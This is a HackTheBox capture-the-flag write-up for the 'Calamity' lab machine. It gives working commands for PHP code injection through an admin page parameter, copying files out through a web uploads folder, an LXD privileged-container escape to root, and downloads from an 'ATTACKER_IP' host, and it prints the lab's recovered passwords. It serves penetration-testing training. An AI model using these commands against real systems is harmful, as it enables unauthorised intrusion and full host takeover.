HTB: Calamity Writeup
Calamity - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Calamity |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.27 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Calamity is a Hard-rated Linux box that demonstrates a deceptively simple initial foothold followed by creative audio steganography and multiple privilege escalation paths. The machine features an HTML parser vulnerable to PHP injection, password recovery through audio file analysis, and either a challenging multi-stage buffer overflow exploit or an LXD container escape to root. The box tests enumeration skills, creative problem-solving for lateral movement, and knowledge of Linux privilege escalation vectors.
TL;DR: HTML parser PHP injection on admin.php → RCE as www-data → Audio steganography (subtracting wav files) → SSH as xalvas → LXD group abuse → Root container escape
Reconnaissance
Port Scanning
# Full port scan with service detectionnmap -sC -sV -T4 -p- 10.10.10.27Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache/2.4.18 (Ubuntu)Only two services exposed: SSH and Apache on their default ports.
Service Enumeration
HTTP (Port 80)
Visiting the web root reveals a simple page. Directory enumeration exposes several interesting locations:
# Directory brute-forcinggobuster dir -u http://10.10.10.27 -w /usr/share/wordlists/dirb/common.txtKey findings:
/admin.php- Administrative interface requiring authentication/uploads/- Directory accessible for file browsing
Vulnerability Assessment
- HTML Parser with PHP Evaluation - The admin.php interface contains an HTML parser that executes PHP code
- Weak Authentication - Password disclosed in HTML comments
- Audio Steganography - Password hidden in audio file manipulation
- LXD Group Membership - User xalvas has LXD group access on i686 architecture
- Process Restrictions - Cron job kills interactive shells (nc, bash, sh connections)
Initial Foothold
Gaining Access to admin.php
First, examining the /admin.php source code reveals interesting details:
# View page sourcecurl http://10.10.10.27/admin.phpThe HTML source contains a comment with a password: skoupidotenekes
The login form has swapped labels - the “Password” field is actually the username, and the “Username” field is the password. The correct credentials are:
- Username field (actually password):
skoupidotenekes - Password field (actually username):
admin
After successful authentication, a cookie adminpowa=noonecares is set.
Exploiting the HTML Parser
The authenticated admin page features an “HTML Parser” with a ?html= parameter. Testing reveals this parameter evaluates PHP code, not just HTML:
# Test PHP executioncurl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php phpinfo(); ?>'This confirms remote code execution. However, there’s a complication: a cron job on the target actively kills processes matching nc, bash, and sh, making reverse shells unstable.
Workaround: One-Shot Commands
Instead of maintaining an interactive shell, execute commands via shell_exec and read output directly:
# Execute system commands via PHPcurl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php echo shell_exec("id"); ?>'This approach bypasses the process-killing mechanism by avoiding long-running shell processes.
Reading User Flag
With RCE established, we can read the user flag directly:
# Read user.txtcurl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php echo shell_exec("cat /home/xalvas/user.txt"); ?>'User flag obtained: <redacted>
Enumerating xalvas Home Directory
# List files in xalvas homecurl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php echo shell_exec("ls -la /home/xalvas"); ?>'Two interesting items discovered:
recov.wav- A recovery audio filealarmclocks/directory containingrick.wav
Privilege Escalation
Stage 1: www-data → xalvas (Audio Steganography)
Exfiltrating Audio Files
The uploads/ directory is web-accessible, allowing us to copy files there for download:
# Copy audio files to uploads directorycurl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php shell_exec("cp /home/xalvas/recov.wav /var/www/html/uploads/"); ?>'
curl -b "adminpowa=noonecares" \ 'http://10.10.10.27/admin.php?html=<?php shell_exec("cp /home/xalvas/alarmclocks/rick.wav /var/www/html/uploads/"); ?>'
# Download files locallywget http://10.10.10.27/uploads/recov.wavwget http://10.10.10.27/uploads/rick.wavAudio Analysis and Password Recovery
The two files are nearly identical. The technique to extract hidden data involves:
- Cross-correlation - Aligning the two waveforms precisely
- Scaling - Normalizing amplitudes
- Subtraction - Computing the difference between the tracks
# Conceptual approach (using Audacity or similar tools)# 1. Import both recov.wav and rick.wav# 2. Invert one track (Effect -> Invert)# 3. Mix both tracks together# 4. The result isolates the difference (~5% residual)The subtraction reveals a spoken password that has been split - the beginning of the password is at the end of the track, while the end is at the beginning. Playing the audio on loop or rearranging reveals:
Password: 18547936..*
SSH Access as xalvas
# Authenticate as xalvasssh xalvas@10.10.10.27# Password: 18547936..*Successful login confirms the audio steganography technique worked.
Stage 2: xalvas → root (LXD Container Escape)
Identifying the LXD Privilege Escalation Vector
# Check group membershipidOutput shows xalvas is a member of the lxd group. This is a well-known privilege escalation path - members of the LXD group can create privileged containers that mount the host filesystem.
The official intended path involves exploiting a custom binary (~/app/goodluck) through multi-stage 32-bit buffer overflow exploitation with ASLR/NX bypass. However, the LXD approach is more reliable and practical.
Architecture Consideration
# Check system architectureuname -mThe system is i686 (32-bit x86), not x86_64. This is critical for creating a compatible container image.
Building an i686-Compatible LXD Image
On the attacker machine:
# Download Alpine Linux 32-bit minirootfswget http://dl-cdn.alpinelinux.org/alpine/v3.10/releases/x86/alpine-minirootfs-3.10.3-x86.tar.gz
# Create metadata for LXDmkdir -p alpine-i686cd alpine-i686
cat > metadata.yaml <<EOFarchitecture: "i686"creation_date: $(date +%s)properties: description: "Alpine Linux i686" os: "alpine" release: "3.10"EOF
# Package the imagetar czf metadata.tar.gz metadata.yamlmv ../alpine-minirootfs-3.10.3-x86.tar.gz rootfs.tar.gz
# Transfer both files to targetpython3 -m http.server 8000On the target as xalvas:
# Download image componentscd /tmpwget http://ATTACKER_IP:8000/metadata.tar.gzwget http://ATTACKER_IP:8000/rootfs.tar.gzImporting and Launching the Privileged Container
# Import the image into LXDlxc image import metadata.tar.gz rootfs.tar.gz --alias alpine-i686
# Verify importlxc image list
# Create and start a privileged container mounting host rootlxc init alpine-i686 privesc -c security.privileged=true
# Mount host filesystem at /mnt/host inside containerlxc config device add privesc hostroot disk source=/ path=/mnt/host recursive=true
# Start the containerlxc start privesc
# Execute shell as rootlxc exec privesc /bin/shReading Root Flag
Inside the container, we’re UID 0 with full access to the host filesystem:
# Navigate to host rootcd /mnt/host/root
# Read root flagcat root.txtRoot flag obtained: <redacted>
The container runs as root, and because security.privileged=true was set, the container’s root user maps directly to the host’s root user (not namespaced). The mounted host filesystem at /mnt/host provides complete read/write access to the entire host system.
Attack Chain Summary
Port Scan (OpenSSH 7.2p2, Apache 2.4.18) → Admin.php Discovery (password in HTML comment: skoupidotenekes) → Authentication Bypass (swapped form labels - admin/skoupidotenekes) → PHP Code Injection (?html= parameter evaluates PHP) → RCE as www-data (one-shot shell_exec commands) → Audio File Exfiltration (recov.wav + rick.wav) → Audio Steganography (track subtraction reveals password: 18547936..*) → SSH as xalvas → LXD Group Enumeration (id command) → LXD Image Creation (i686 Alpine minirootfs) → Privileged Container Escape (security.privileged=true, host / mount) → Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP request manipulation and PHP exploitation |
gobuster | Directory brute-forcing |
wget | File transfer from target to attacker |
Audacity | Audio analysis and track subtraction |
ssh | Remote shell access |
lxc/lxd | Container creation and privilege escalation |
python3 | HTTP server for file transfer |
Key Learnings
Techniques Practiced
- Creative enumeration - Finding passwords in HTML comments and understanding UI misdirection (swapped labels)
- Bypassing shell restrictions - Using one-shot commands instead of interactive shells to evade process-killing cron jobs
- Audio steganography - Cross-correlation and track subtraction to extract hidden data from nearly-identical audio files
- LXD/LXC container escapes - Exploiting group membership to create privileged containers with host filesystem access
- Architecture awareness - Recognizing i686 vs x86_64 compatibility requirements for exploits and containers
Lessons Learned
-
Always read HTML source carefully - Critical information like passwords may be hidden in comments or client-side code that isn’t visible in the rendered page.
-
UI can be intentionally misleading - The swapped username/password labels demonstrate that form field labels may not match their actual function - test both combinations during authentication attempts.
-
Process monitoring affects exploitation - When reverse shells fail consistently, investigate potential defensive mechanisms like cron jobs that kill specific processes. Adapt techniques accordingly (one-shot commands, renamed binaries, alternative shells).
-
Audio steganography is practical - Signal processing techniques (correlation, inversion, subtraction) can extract hidden data from audio files. When multiple similar files exist, compare them systematically.
-
Multiple paths to root exist - While the intended exploitation path involved complex memory corruption (buffer overflow → ASLR bypass → multi-stage ROP), recognizing simpler privilege escalation vectors (LXD group membership) can achieve the same goal more reliably.
-
Architecture matters in exploitation - 32-bit (i686) vs 64-bit (x86_64) affects shellcode, ROP gadgets, container images, and compiled exploits. Always verify architecture before building or importing binaries.
-
LXD group = root equivalent - Membership in the
lxdgroup allows creation of privileged containers that bypass namespace isolation, effectively granting root access through container filesystem mounts.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Calamity (Document No D17.100.38) by Alexander Reid (Arrexel)
- LXD Container Escape Technique: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation